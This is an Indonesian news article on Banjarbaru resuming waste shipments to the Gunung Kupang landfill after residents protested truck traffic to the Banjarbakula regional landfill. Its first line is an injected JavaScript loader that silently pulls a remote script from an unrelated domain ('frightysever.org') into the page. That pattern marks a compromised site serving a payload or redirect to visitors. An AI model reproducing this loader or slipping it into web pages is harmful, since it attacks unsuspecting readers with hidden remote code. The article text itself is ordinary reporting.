(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pasca dihentikannya operasional Tempat Pembuangan Akhir (TPA) Regional Banjarbakula, Dinas Lingkugan Hidup (LH) Kota Banjarbaru kembali mengirim sampah ke TPA Gunung Kupang.
Hal tersebut diungkapkan Kepala Dinas LH Banjarbaru, Sirajoni, MM melalui Kabid Persampahan, Erwan Rudiansyah saat ditemui kanalkalimantan, Kamis (9/5). Ia mengatakan telah menghentikan pengiriman sampah ke TPA Banjarbakula sejak Sabtu lalu. Meski begitu, dirinya mengakui pengangkutan sampah tetap berjalan seperti biasa.
“Memang jalur TPA Gunung Kupang sama dengan TPA Banjarbakula, tapi warga sekitar mengizinkan saja. Alhamdulillah, kami dipersilahkan lewat karena memang selama ini kita juga sudah sering sosialisasi dengan mereka,” ujarnya.
Diketahui dalam mengirim sampah ke TPA Gunung Kupang, Dinas LH Banjarbaru menggunakan 42 truk yang mana dalam satu harinya dapat berotasi (lalu lalang) hingga 55 kali. Ditambah lagi memasuki bulan ramadhan yang juga turut menambah jumlah sampah di kota Banjarbaru yang mana sebelumnya hanya 100 Ton, kini mencapai 120 Ton.
Erwan mengakui, ada imbas yang harus dihadapi dalam mengoperasionalkan kembali TPA Gunung Kupang. Yaitu kondisi tanahnya yang terbatas sehingga perlu kerja keras menyiasati penumpukan sampah.
Saat TPA Regional Banjarbakula dibangun, Dinas LH Banjarbaru berencana mengelola TPA Gunung Kupang sebagai tempat pariwisata. Pengerjaan ini bahkan telah dimulai sejak awal tahun 2019 saat peringatan Hari Peduli Sampah Nasional (HPSN) lalu dengan melakukan program penghijauan, yakni penanaman pohon oleh Walikota Banjarbaru Nadjmi Adhani juga para Stakeholder, Polisi, TNI serta puluhan perusahaan swasta.
“Sebenarnya kita sudah lakukan penataan disana supaya jadi tempat rekreasi. Tapi ya apa mau dikata, kalau harus aktif lagi TPA nya,” lanjut Kabid Persampahan.
Sebelumnya, TPA Regional Banjarbakula yang telah beroperasi sejak awal April lalu mendapat keluhan dari masyarakat di Gunung Kupang, Kecamatan Cempaka. Lantaran kurang lebih 100 truck sampah yang bolak balik melalui rumah warga menganggu aktifitas lalu lintas jalan dan mengancam keselamatan warga sekitar.
Bentuk protes bahkan telah dilancarkan puluhan warga lewat aksi demo di lalu lintas jalan yang dilalui armada truk pengangkut sampah.
Masyarakat sekitar berharap agar ada akses jalan khusus bagi armada pengangkut sampah menuju ke TPA Banjarbakula. Selama akses jalan itu belum tersedia, maka warga menyarankan dengan tegas untuk menghentikan operasional TPA Banjarbakula.
Kepala Dinas Lingkungan Hidup Provinsi Kalsel, Ikhlas Indar, mengatakan pihaknya telah menyerap aspirasi dari warga tersebut. Ia juga telah membahas masalah ini dengan sejumlah stakeholder. “Permasalahan ini masih kita rapatkan dengan SKPD di Provisi maupun di Kota Banjarbaru. Sementara itu, operasional di TPA dihentikan sambil mencari solusi bersama,” katanya.
Terkait permintaan untuk membangun akses jalan khusus tentu butuh waktu yang panjang agar merealisasikannya. Baik itu perencanaan maupun kesiapan anggaran. Namun, rencananya pembangunan jalan khusus ini akan melibatkan Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Provinsi Kalsel maupun Kota Banjarbaru. (Rico)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.